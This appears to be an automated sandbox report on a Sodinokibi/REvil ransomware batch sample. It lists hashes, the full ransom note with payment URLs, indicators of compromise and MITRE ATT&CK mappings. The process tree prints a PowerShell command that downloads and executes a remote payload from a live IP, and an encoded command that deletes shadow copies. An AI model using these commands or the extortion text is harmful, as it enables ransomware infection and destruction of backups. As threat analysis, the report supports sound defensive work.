sodinokibi | add2d6d1bb4a21cb6e1b3266aea269d4e66dbd7999ef070b81760cc64d547bac

General

Target

f273d69e572f51a031e40b8c83f3e58b.bat
Size

222B
MD5

8609a1469584fe2c96aa61c898fd08e2
SHA1

184957747a301ae172a76046daf5480c525a55db
SHA256

add2d6d1bb4a21cb6e1b3266aea269d4e66dbd7999ef070b81760cc64d547bac
SHA512

2192354833c5c0c07ad79980769ef1090d7232717f9c73c13f16b4558593a9eb3028818dbc564433a41bfc3f092ea1a39cffccf0440a81dbc09ab8f5114162ec

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/f273d69e572f51a031e40b8c83f3e58b

Extracted

Path

C:\xfkawd-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension xfkawd. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BCBA683F8E6DCD73 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/BCBA683F8E6DCD73 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: FMERg0DyEnGEG8tLVPzzGLyTSxoEhOUkcyHvvICYA6FJ6/NIwKkUBBl81mrOzYZ9 PzO4aEHgfkrrGcUQV5ht0OHDal/sUnp7TM+Pt0Ay5Fq0THfB4Bsa0FjWSdcT1d2A M3ivsWp7+C6H6QZExNakO7CitR8S7l2mgdgytWBJmd9E9mbjYs4/7Ey/7Dys/i40 Pc9/M4Xn9zxEHpPl2NGhZEeqybiYN3DX4/cL4t0kvOITktGh+NMLKAw151YQdqmr 02VYUi4v85dWMlxQH7fjx86vMUV3vMtu+Kj6gx/Ld/mzbf55seFtxqQiwLbxon8I nXQkZDDbozCkhixj9WWnAZFZkeGcLI6Oll/xgu+EwNJQ2tJCe3yTg9Yx+kREWh6w 2WZW5ucgyGASuDtOF+V3FZcTAdyTj2LgnFUfPQIdrVkR8+1H9g3X0l5S1tdfR0G5 EdZIskZvkniDJJjsZixtMHYyLWKsjW1k3qaqltKSwDfTSDOnhj8S87jwVfpmB8mv VIGtyfPNHjH8oBTLCCNFnTg1AVIkyxhG1OSbOo+oDduZXrbjAK9vTS3o3XI134Kk gvDaQ7PptzyBpjOFRm67oRtsMPjFvNtUlG+iifqNbGFwnotcCSnCe+FnMNEKyP1h o5wcqwBEOQpy3ZPz50c74lX6GsMEDeXmuTxHPMGa+o1c+E6JPk6gEjRqUiGVTjl+ J6WPx2x9u9bGUMpdCsVewiuDGQ3lj0e4bTFlXf01oIeptZXoWOIso6D0hi/+EjkI FMjB9pFd34I9S31foSgUbVrFEb4euR6lDkQTMqtvyGZktUNZgZVp29p/T/phksa5 MNiiUWfDI+dd2h7k5DallFr0eQ93XOOccA5GZl76fYOIFYaUURnb+JxIYV8wHYKn mW+popEVceCXyBArhcTkQAjT+n3hPw0wTSt1VkqCFogzT8iI9IzWNwiA8y/1yn7b VKFkG1HImuRwnPZ94CM4/iGVZP+2tr5DvzjchGKa/p4m/TTbLjGwUDn4oRvow4qE byeD0CbkEd5LmWX+9v3CVXe8l8q8+dgUE+3WFGgFzTybrl+v8gqE6GtnepUL43f+ 3MWsS5Df6E/6ODN9q9R5IC78igCMqzaYMUG990KvCFXp6+UUrG2ZlU99t1r7++Mz xEfb03pAE+/jHm2oKBIYUk8liXEa4UdzG76LxOGKjU0YmTio1lE5Z3IxoyJ1N16S A/J30DpXL8SLy0hqlwB9GhoiMPMDLCwSCCu2/kSRyXeNPk1M0YBZNB69Ry7eGHRc YU+vHPlKvJricKCjuEV1mg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BCBA683F8E6DCD73

http://decryptor.cc/BCBA683F8E6DCD73

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 4008 powershell.exe

flow	pid	process
3	4008	powershell.exe

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ConfirmRegister.png => \??\c:\users\admin\pictures\ConfirmRegister.png.xfkawd	powershell.exe
File renamed	C:\Users\Admin\Pictures\CheckpointUnblock.tif => \??\c:\users\admin\pictures\CheckpointUnblock.tif.xfkawd	powershell.exe
File renamed	C:\Users\Admin\Pictures\InitializeSkip.tif => \??\c:\users\admin\pictures\InitializeSkip.tif.xfkawd	powershell.exe
File renamed	C:\Users\Admin\Pictures\SuspendRename.png => \??\c:\users\admin\pictures\SuspendRename.png.xfkawd	powershell.exe
File renamed	C:\Users\Admin\Pictures\SwitchConnect.tiff => \??\c:\users\admin\pictures\SwitchConnect.tiff.xfkawd	powershell.exe
File renamed	C:\Users\Admin\Pictures\UnblockLimit.tiff => \??\c:\users\admin\pictures\UnblockLimit.tiff.xfkawd	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\SwitchConnect.tiff	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\UnblockLimit.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\DismountResume.crw => \??\c:\users\admin\pictures\DismountResume.crw.xfkawd	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b58.bmp"	powershell.exe

Drops file in Program Files directory 35 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\DisconnectConvertTo.png	powershell.exe
File opened for modification	\??\c:\program files\FormatSkip.ini	powershell.exe
File opened for modification	\??\c:\program files\ReceiveDismount.avi	powershell.exe
File opened for modification	\??\c:\program files\SearchCompress.DVR-MS	powershell.exe
File opened for modification	\??\c:\program files\TestFind.bmp	powershell.exe
File created	\??\c:\program files (x86)\xfkawd-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\AddNew.001	powershell.exe
File opened for modification	\??\c:\program files\BlockLimit.ADTS	powershell.exe
File opened for modification	\??\c:\program files\NewSplit.mov	powershell.exe
File opened for modification	\??\c:\program files\UnprotectReceive.potm	powershell.exe
File opened for modification	\??\c:\program files\CopyUnprotect.scf	powershell.exe
File opened for modification	\??\c:\program files\InitializeCompress.png	powershell.exe
File opened for modification	\??\c:\program files\PopRedo.m4v	powershell.exe
File opened for modification	\??\c:\program files\ReceiveDeny.emz	powershell.exe
File opened for modification	\??\c:\program files\CompleteInitialize.mht	powershell.exe
File opened for modification	\??\c:\program files\CompressAssert.mhtml	powershell.exe
File opened for modification	\??\c:\program files\GroupGet.scf	powershell.exe
File opened for modification	\??\c:\program files\PushImport.M2TS	powershell.exe
File opened for modification	\??\c:\program files\ReadMove.pdf	powershell.exe
File opened for modification	\??\c:\program files\SuspendCompress.AAC	powershell.exe
File opened for modification	\??\c:\program files\AssertPush.xps	powershell.exe
File opened for modification	\??\c:\program files\EnableDebug.3gp	powershell.exe
File opened for modification	\??\c:\program files\ExpandConfirm.ex_	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.vssx	powershell.exe
File opened for modification	\??\c:\program files\InitializeStep.xsl	powershell.exe
File opened for modification	\??\c:\program files\LimitGroup.ex_	powershell.exe
File opened for modification	\??\c:\program files\RevokeExpand.xsl	powershell.exe
File opened for modification	\??\c:\program files\SendSet.WTV	powershell.exe
File opened for modification	\??\c:\program files\DenyWatch.shtml	powershell.exe
File opened for modification	\??\c:\program files\ImportOut.zip	powershell.exe
File opened for modification	\??\c:\program files\SplitResize.xml	powershell.exe
File created	\??\c:\program files\xfkawd-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\InstallSend.mp3	powershell.exe
File opened for modification	\??\c:\program files\SyncConvertTo.xhtml	powershell.exe
File opened for modification	\??\c:\program files\UnpublishClose.wps	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeBackupPrivilege	344	vssvc.exe
Token: SeRestorePrivilege	344	vssvc.exe
Token: SeAuditPrivilege	344	vssvc.exe
Token: SeTakeOwnershipPrivilege	4008	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 3740 wrote to memory of 4008	3740	cmd.exe	powershell.exe
PID 3740 wrote to memory of 4008	3740	cmd.exe	powershell.exe
PID 3740 wrote to memory of 4008	3740	cmd.exe	powershell.exe
PID 4008 wrote to memory of 3184	4008	powershell.exe	powershell.exe
PID 4008 wrote to memory of 3184	4008	powershell.exe	powershell.exe
PID 4008 wrote to memory of 3184	4008	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f273d69e572f51a031e40b8c83f3e58b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f273d69e572f51a031e40b8c83f3e58b');Invoke-QEEAWDOACTLVWYR;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3184

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/3184-13-0x0000000000000000-mapping.dmp

Download
memory/3184-27-0x0000000009990000-0x0000000009991000-memory.dmp

Filesize
4KB

Download
memory/3184-26-0x00000000090F0000-0x00000000090F1000-memory.dmp

Filesize
4KB

Download
memory/3184-24-0x0000000009120000-0x0000000009121000-memory.dmp

Filesize
4KB

Download
memory/3184-14-0x00000000740F0000-0x00000000747DE000-memory.dmp

Filesize
6.9MB

Download
memory/4008-8-0x0000000007CF0000-0x0000000007CF1000-memory.dmp

Filesize
4KB

Download
memory/4008-6-0x00000000078B0000-0x00000000078B1000-memory.dmp

Filesize
4KB

Download
memory/4008-7-0x0000000007920000-0x0000000007921000-memory.dmp

Filesize
4KB

Download
memory/4008-0-0x0000000000000000-mapping.dmp

Download
memory/4008-9-0x0000000007D50000-0x0000000007D51000-memory.dmp

Filesize
4KB

Download
memory/4008-10-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

Filesize
4KB

Download
memory/4008-11-0x0000000009770000-0x0000000009771000-memory.dmp

Filesize
4KB

Download
memory/4008-12-0x0000000008CE0000-0x0000000008CE1000-memory.dmp

Filesize
4KB

Download
memory/4008-5-0x0000000006FC0000-0x0000000006FC1000-memory.dmp

Filesize
4KB

Download
memory/4008-4-0x0000000006E60000-0x0000000006E61000-memory.dmp

Filesize
4KB

Download
memory/4008-3-0x0000000007030000-0x0000000007031000-memory.dmp

Filesize
4KB

Download
memory/4008-2-0x00000000010A0000-0x00000000010A1000-memory.dmp

Filesize
4KB

Download
memory/4008-1-0x00000000740F0000-0x00000000747DE000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads